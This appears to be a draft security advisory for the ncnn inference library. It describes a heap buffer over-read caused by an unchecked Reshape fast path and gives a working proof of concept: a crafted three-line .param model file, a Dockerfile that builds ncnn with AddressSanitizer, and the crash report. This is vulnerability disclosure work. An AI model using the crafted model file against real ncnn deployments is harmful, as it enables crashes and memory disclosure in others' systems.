All advisories
Draft

Heap Buffer Overflow in Model Shape Inference

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Heap Buffer Overflow in Model Shape Inference

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/mat.cpp:100 in Mat::clone
Sanitizer verdict: heap-buffer-overflow

Summary

A Reshape layer whose 3D target shape does not preserve the element count is applied as a pure metadata rewrite: ncnn aliases the input Mat and overwrites its w and h fields without reallocating. Any later deep copy of that forged view — here Mat::clone during light-mode inference — computes the copy length from the fake dimensions and memcpys gigabytes out of a tiny allocation. The PoC drives this through tools/ncnnoptimize with a .param file alone (null is passed as the model binary), crashing the tool inside ModelWriter::shape_inference().

Detail

The untrusted fields are Reshape parameter keys 0, 1 and 2 (w, h, c). Reshape::forward compares only the channel count against the input before taking a fast path that reuses the input's buffer:

// src/layer/reshape.cpp:159
        if (dims == 3 && bottom_blob.c == outc)
        {
            top_blob = bottom_blob;
            top_blob.w = outw;
            top_blob.h = outh;
            return 0;
        }

top_blob = bottom_blob copies the Mat header — data pointer, refcount, elemsize, cstep — and then w and h are replaced with the attacker's values. The guard checks outc only, so outw * outh is never required to equal bottom_blob.w * bottom_blob.h; the total computed at line 107 is discarded on this path. The result is a Mat that claims to hold 2 billion elements while pointing at a 1-element buffer. The Mat::reshape calls further down (lines 197-212), which do validate the element count, are never reached.

The forged view is handed to the next layer, and because ReLU supports in-place execution while the blob's refcount is greater than one, NetPrivate::do_forward_layer deep-copies it at src/net.cpp:640:

// src/mat.cpp:96
            // copy by channel for differnet cstep
            size_t size = (size_t)w * h * d * elemsize;
            for (int i = 0; i < c; i++)
            {
                memcpy(m.channel(i), channel(i), size);
            }

The PoC's Input input 0 1 data 0=1 1=1 2=1 yields the 84-byte allocation made at tools/modelwriter.h:390, and Reshape reshape 1 1 data reshaped 0=40000 1=50000 2=1 sets w = 40000, h = 50000 with c unchanged at 1, satisfying the bottom_blob.c == outc guard. In clone, size evaluates to 40000 * 50000 * 1 * 4 = 8,000,000,000 bytes — precisely the READ of size 8000000000 in the sanitizer report — sourced from an 84-byte region. The destination m is a fresh allocation of the same nominal size, so the copy is an out-of-bounds read of the source rather than a write overflow, and the process dies on the first page past the input buffer.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-heap-buffer-overflow-in-model-shape-inference && cd ncnn-poc-heap-buffer-overflow-in-model-shape-inference

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
3 3
Input input 0 1 data 0=1 1=1 2=1
Reshape reshape 1 1 data reshaped 0=40000 1=50000 2=1
ReLU relu 1 1 reshaped out
EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e000000094 at pc 0x7bdc6b88642e bp 0x7ffdd03cd530 sp 0x7ffdd03cccd8
READ of size 8000000000 at 0x50e000000094 thread T0
    #0 0x7bdc6b88642d in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
    #1 0x5f613e9a7c81 in ncnn::Mat::clone(ncnn::Allocator*) const /ncnn/src/mat.cpp:100
    #2 0x5f613ea03a2d in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:640
    #3 0x5f613e9fdb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #4 0x5f613ea5d9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #5 0x5f613e8ef3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #6 0x5f613e96ceee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #7 0x7bdc6b20e1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x7bdc6b20e28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x5f613e8ec624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x50e000000094 is located 0 bytes after 84-byte region [0x50e000000040,0x50e000000094)
allocated by thread T0 here:
    #0 0x7bdc6b887f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5f613e9bd92d in fastMalloc /ncnn/src/allocator.h:62
    #2 0x5f613e9bd92d in ncnn::Mat::create(int, int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:415
    #3 0x5f613e8edca0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:390
    #4 0x5f613e96ceee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #5 0x7bdc6b20e1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x7bdc6b20e28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x5f613e8ec624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy

Credit

Zheng Yu @ DepthFirst